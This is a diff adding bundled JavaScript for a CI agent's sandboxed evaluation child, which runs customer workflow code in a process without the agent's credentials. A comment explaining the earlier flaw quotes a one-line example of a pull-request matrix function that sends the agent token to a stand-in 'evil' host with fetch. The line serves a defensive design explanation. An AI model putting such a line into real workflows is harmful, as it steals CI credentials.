+* runs a customer workflow module — is directly testable, and so a unit test can
+* drive the real evaluation through the same seam the child uses rather than a
+* hand-written imitation of it that would drift.
+*
+* Every `process.env` read below is correct BECAUSE it runs in the eval child:
+* there `process.env` is the sanitized environment the child was forked with,
+* carrying no agent credential. The same expressions were the defect while these
+* evaluations ran in the agent process, which is why they moved rather than
+* being rewritten.
+*/
+init_workflow_loader();
+init_generator_context();
+/** Console output captured inside an evaluation lands on the job's step-0 log. */
+function makeSink(deps) {
+	return { addLine: (line) => deps.emit(line) };
+}
+/** A logger shaped like the SDK's, routing every level onto the same log. */
+function makeEvalLogger(deps) {
+	return {
+		info: (msg) => deps.emit(msg),
+		warn: (msg) => deps.emit(`WARN: ${msg}`),
+		error: (msg) => deps.emit(`ERROR: ${msg}`),
+		debug: (msg) => deps.emit(`DEBUG: ${msg}`)
+	};
+}
+async function runInit(request, deps) {
+	const dispatch = request.dispatch;
+	const config = request.config;
+	const filterInput = config.hasFilter ? await buildInitFilterInput(dispatch, config.event, request.workDir, deps.emit) : void 0;
+	return runCaptured(makeSink(deps), async () => {
+		const { module } = await loadWorkflowSource(request.workDir, config.source, config.contentHash, config.resolvedHashFiles);
+		const workflow = extractWorkflow(module, config.workflowName);
+		deps.emit(`Evaluating dynamic fields for job '${config.targetJobName}' (env=${config.dynamicEnv} context=${config.dynamicContext} concurrencyGroup=${config.dynamicConcurrencyGroup} matrix=${config.dynamicMatrix ?? false} filter=${config.hasFilter ?? false})`);
+		return evaluateDynamicFields(workflow, config.targetJobName, config.event, {
+			dynamicContext: config.dynamicContext,
+			dynamicEnv: config.dynamicEnv,
+			dynamicConcurrencyGroup: config.dynamicConcurrencyGroup,
+			dynamicMatrix: config.dynamicMatrix ?? false,
+			hasFilter: config.hasFilter ?? false
+		}, config.timeoutMs, filterInput);
+	});
+}
+async function runDynamicJob(request, deps) {
+	const dispatch = request.dispatch;
+	const config = request.config;
+	const timeoutMs = config.timeoutMs ?? 6e4;
+	const scopedDollar = await buildEvalShell(request.workDir, deps.emit);
+	const filterInput = config.hasFilter ? await buildInitFilterInput(dispatch, config.event, request.workDir, deps.emit) : void 0;
+	return runCaptured(makeSink(deps), async () => {
+		const { module } = await loadWorkflowSource(request.workDir, config.source.file, config.contentHash, config.resolvedHashFiles);
+		deps.emit("Workflow loaded");
+		const { extractDynamicJobFn } = await Promise.resolve().then(() => (init_workflow_loader(), workflow_loader_exports));
+		const workflow = extractWorkflow(module, config.workflowName);
+		if (config.hasFilter) {
+			if (!await evaluateWorkflowFilter(workflow, config.event, filterInput, timeoutMs)) {
+				deps.emit(`Workflow filter returned false — '${config.workflowName}' does not apply to this event, so its generator is not run and no jobs are generated`);
+				return [];
+			}
+		}
+		const dynamicFn = extractDynamicJobFn(workflow, config.source.index);
+		deps.emit(`Evaluating DynamicJobFn (index ${config.source.index}, timeout ${timeoutMs}ms)`);
+		const needs = buildEvalNeedsContext(config);
+		const context = buildGeneratorContext({
+			workflowName: config.workflowName,
+			event: config.event,
+			env: process.env,
+			...needs && { needs },
+			$: scopedDollar,
+			log: makeEvalLogger(deps),
+			kici: deps.kici
+		});
+		return serializeJobsToLock(await withTimeout(() => dynamicFn(context), timeoutMs, `DynamicJobFn index ${config.source.index} in workflow '${config.workflowName}'`), {
+			event: config.event,
+			$: scopedDollar,
+			log: makeEvalLogger(deps),
+			env: process.env,
+			workflowName: config.workflowName
+		});
+	});
+}
+/**
+* Load the workflow module to verify the cloned source matches the lock file's
+* `contentHash`, before the agent packs the source tarball.
+*
+* The verification is `loadWorkflowSource`'s own, and importing the module is
+* what makes it customer code — module top-level runs.
+*/
+async function runBuildVerify(request, deps) {
+	const config = request.config;
+	await runCaptured(makeSink(deps), () => loadWorkflowSource(request.workDir, config.sourceFile, config.contentHash, config.resolvedHashFiles));
+	return null;
+}
+async function runGlobalEval(request, deps) {
+	const dispatch = request.dispatch;
+	const config = request.config;
+	const workflowDir = join(request.workDir, "workflow");
+	const sourceDir = join(request.workDir, "source");
+	const diff = await resolveEvalChangedFiles(dispatch, config.event, sourceDir);
+	const evalShell = await buildEvalShell(request.workDir, deps.emit);
+	return runCaptured(makeSink(deps), () => runGlobalEvalRound({
+		workflowDir,
+		sourceDir,
+		repos: buildRoundRepos(dispatch, config, workflowDir, sourceDir),
+		candidates: config.candidates,
+		event: config.event,
+		changedFiles: diff.files,
+		changedFilesStatus: diff.status,
+		roundTimeoutMs: config.roundTimeoutMs ?? 12e4,
+		candidateTimeoutMs: config.candidateTimeoutMs ?? 2e4,
+		$: evalShell,
+		log: makeEvalLogger(deps),
+		kici: deps.kici
+	}));
+}
+/**
+* Run one evaluation request. The single entry point the eval child's IPC shell
+* calls, and the seam a unit test drives.
+*/
+async function runEvalRequest(request, deps) {
+	switch (request.kind) {
+		case "init": return runInit(request, deps);
+		case "dynamic-job": return runDynamicJob(request, deps);
+		case "build-verify": return runBuildVerify(request, deps);
+		case "global-eval": return runGlobalEval(request, deps);
+	}
+}
+//#endregion
+//#region src/execution/sandbox/eval-runner.ts
+/**
+* The eval child: the only process in which customer EVALUATION code runs.
+*
+* The agent forks this entry once per evaluation job — `__init__`, `__dynamic__`,
+* `__build__` and a global eval round — with an environment built by
+* `buildSanitizedEnv`, so the workflow module, its `filter`, its dynamic `env` /
+* `environment` / `concurrencyGroup` / `matrix` functions and any `DynamicJobFn`
+* load and execute where the agent's credentials are not.
+*
+* They used to run in the agent's own V8 isolate with the agent's `process.env`.
+* A `matrix: async ({ env }) => fetch('https://evil/', { body: env.KICI_AGENT_TOKEN })`
+* in a pull request was therefore enough to take the agent's identity.
+*
+* This file is the IPC shell only; the evaluations themselves live in
+* `eval-dispatch.ts`. Communication uses a message union of its own
+* (`AgentToEvalMessage` / `EvalToAgentMessage`), NOT the step runner's — see the
+* note above the union in `ipc-protocol.ts` for why sharing that one would be a
+* privilege expansion.
+*/
+/** Send one message to the agent. A closed channel is not fatal — the agent has moved on. */
+function send(msg) {
+	try {
+		process.send?.(msg);
+	} catch {}
+}
+function emit(line, stream) {
+	send(stream ? {
+		type: "log.line",
+		line,
+		stream
+	} : {
+		type: "log.line",
+		line
+	});
+}
+let apiSeq = 0;
+const pendingApiCalls = /* @__PURE__ */ new Map();
+/**
+* Relay one `kici.*` call to the agent.
+*
+* `ctx.kici` is already handed to a `DynamicJobFn` and to a global-eval
+* generator, so this preserves what an evaluation has rather than granting it
+* something new. It is the only relay on the eval union.
+*/
+function relayApiRequest(method, params) {
+	const id = `eval-api-${++apiSeq}`;
+	return new Promise((resolve, reject) => {
+		pendingApiCalls.set(id, {
+			resolve,
+			reject
+		});
+		send({
+			type: "eval.api.request",
+			id,
+			method,
+			params
+		});
+	});
+}
+const kici = buildKiciApi((method, params) => relayApiRequest(method, params ?? {}));
+installConsoleCapture();
+process.on("message", (msg) => {
+	if (msg.type === "eval.api.response") {
+		const pending = pendingApiCalls.get(msg.id);
+		if (!pending) return;
+		pendingApiCalls.delete(msg.id);
+		if (msg.error !== void 0) pending.reject(new Error(msg.error));
+		else pending.resolve(msg.result);
+		return;
+	}
+	if (msg.type !== "eval") return;
+	runEvalRequest(msg.request, {
+		emit,
+		kici
+	}).then((result) => {
+		send({
+			type: "eval.result",
+			result
+		});
+		process.exit(0);
+	}, (err) => {
+		send({
+			type: "eval.error",
+			error: toErrorMessage(err)
+		});
+		process.exit(1);
+	});
+});
+send({ type: "ready" });
+//#endregion
+export {};
+
+//# sourceMappingURL=eval-runner.js.map